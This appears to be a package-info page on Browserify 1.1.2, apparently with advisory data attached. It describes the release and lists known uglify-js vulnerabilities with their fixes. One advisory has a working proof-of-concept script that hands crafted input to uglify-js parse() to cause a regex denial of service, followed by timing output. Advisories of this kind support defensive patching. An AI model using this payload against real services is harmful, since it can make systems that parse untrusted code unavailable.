Browserify version 1.1.2 is a minor update to version 1.1.1 focusing on stability and bug fixes for this crucial tool that enables developers to use Node.js-style require() statements in browser-based JavaScript. Boasting an identical set of core dependencies, including resolve, detective, and coffee-script, both versions maintain consistent functionality for module resolution and dependency analysis, crucial for packaging complex JavaScript applications for the browser. The development dependencies, a suite of tools used for testing and building the package, also remain unchanged, suggesting a focus on refining existing features rather than introducing new ones. Developers familiar with Browserify 1.1.1 should find the upgrade to 1.1.2 seamless.
While the core functionality seems preserved, the subtle difference lies in the release date. Version 1.1.2 was released on June 22, 2011, a single day after version 1.1.1's release on June 21, 2011. This quick turnaround strongly indicates that version 1.1.2 is likely a patch release addressing immediate issues discovered in the initial 1.1.1 version. Developers are encouraged to upgrade to version 1.1.2 to benefit from these fixes and ensure a more stable build process for their browser-based projects. By updating, users are leveraging the most current iteration within the 1.1 series avoiding potential bugs or performance regressions present in the earlier release. Browserify helps streamline the process by letting developers organize JavaScript like Node.js' modules.
All the vulnerabilities related to the version 1.1.2 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.